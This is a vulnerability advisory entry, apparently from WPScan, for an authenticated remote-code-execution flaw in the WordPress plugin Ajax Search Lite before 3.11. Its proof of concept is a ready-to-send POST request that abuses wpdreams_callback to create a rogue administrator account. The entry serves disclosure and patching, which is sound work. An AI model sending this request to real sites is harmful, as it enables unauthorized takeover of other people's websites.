WordPress Plugin Vulnerabilities
Ajax Search Lite < 3.11 - Authenticated RCE
Description
Proof of Concept:
This will register an administrator with username "xADMIN" and password "xPASS":
POST request to: /wp-admin/admin-ajax.php?page=ajax-search-pro/backend/settings.php&action=wpdreams-ajaxinput
With POST data:
wpdreams_callback=wp_insert_user&user_login=xADMIN&user_pass=xPASS&role=administrator
Affects Plugins
Fixed in 3.11 References
Classification
Type
RCE
OWASP top 10
CWE
Miscellaneous
Submitter
A. Samman
Submitter twitter
Verified
No
WPVDB ID
Timeline
Publicly Published
2015-03-18 (about 11 years ago)
Added
2015-03-21 (about 11 years ago)
Last Updated
2019-10-21 (about 6 years ago)
WPScan 